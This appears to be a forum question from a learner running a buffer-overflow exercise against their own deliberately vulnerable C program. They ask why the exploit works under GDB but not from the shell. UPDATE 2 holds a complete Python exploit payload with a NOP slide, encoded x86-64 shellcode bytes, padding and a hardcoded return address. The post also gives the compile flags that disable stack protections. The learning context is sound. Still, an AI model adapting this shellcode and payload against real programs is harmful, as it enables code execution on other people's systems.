My question is pretty much what the title describes, I have read a lot of articles online but none of them explained how can I actually make a workable exploit like ./buf < attack.txt
where attack.txt
is my payload which contains my exploit within it. Let me make you understand my question by taking an example.
Let's consider this famous C program which is used to teach bufferoverflow.
#include<stdio.h>
#include<string.h>
int main(int argc, char const *argv[])
{
char buff[500];
strcpy(buff,argv[1]);
printf("%s\n",buff);
return 0;
}
Most of us know the theoretical approach to this, but to sum up, we are trying to exploit strcpy()
to create an overflow and overwrite the memory address in the stack where the ret
instruction will point to.
Just like an ordinary newbie, I executed this file using the following command.
gcc -fno-stack-protector -z execstack buf.c -o buf
Now this gives me a binary ELF executable file, in Ubuntu 17.10.1 64-bit vbox
. I use the GDB
to create a buffer overflow. I disassemble the main()
, insert break
points, calculate the offset, generate a payload, insert an exploit and make it successfully point to my exploit's address. Then, I exploit the program and Vola! my program gets successfully exploited. Things go pretty smooth till now. I have got a general idea of how the exploitation is done and I probably can find other buffer overflow exploits now and exploit them Inside GDB. This is where I am stuck.
If I have to exploit a program I have to do it via GDB I am unable to do it outside in shell, I don't know why but it raises Segmentation fault.
I panic, I cry and I go to sleep. After waking up in despair I quickly google "buffer overflow occurs in GDB but not in the shell" and I come across this Buffer overflow works in gdb but not without it.
Now, the above article explains that there are many differences in the 2 environments and so it includes Wrapper Program shell script which is, as I have experienced, a bridge between Shell and GDB. it brings both of them to a common platform (ofcourse, I don't know how?)
I again debug my program using this command now,
./envexec -d buf
and I execute it using
./envexec buf ($python payload.py)
and it's not working again!
I unset 2 environment variables inside GDB
unset env LINES
unset env COLUMNS
then again after I execute,
./envexec buf ($python payload.py)
It finally works! Job Well Done!
But no! I am not satisfied here. I want this to work without the Wrapper Program. I should be able to exploit it using this
./buf $(python payload.py)
but I am unable to do that. I request someone to help me out with this
P.S: Before downvoting or requesting this question to be closed, kindly read the entire question.
UPDATE 1: I have already disabled Address space Layout randomization.
UPDATE 2: Payload attached
buf_length = 520
nop_length = 100
nop_slide = "\x90"*nop_length
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8"
buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94"
buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26"
buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6"
buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11"
buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2"
buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75"
buf += "\xa8\x43"
padding = "A"*(buf_length-nop_length-len(buf))
return_address = "\x10\xe9\xff\xff\xff\x7f"
print (nop_slide+buf+padding+return_address)
UPDATE 3: As per @poming's comment, I tried to run the attach a running process to GDB and tried to debug it at the runtime.
Difficulty: as the process was getting terminated almost instantly, I couldn't attach a process to GDB.
Solution: I had to dump a core file for that, I had to enable core dump by using the following command and as per the following answer https://stackoverflow.com/a/35747215/4208058
ulimit -c unlimited
Since I am also using Ubuntu, I had to kill the service apport using the following command,
sudo service apport stop
Now, I tried debugging the script using core file and I noticed that the return address was invalid, I had to search the entire stack for Nops and then I pointed to the return_address from my payload to the actual value it was shown in the core file.
I tried executing the file again with my payload using the command,
./buf.exe $(python payload.py)
And it works! This was awesome. This practically answers my own question but my doubt still remains. What difference does a wrapper program make and why do I have so much difference in the stack between 2 different environments?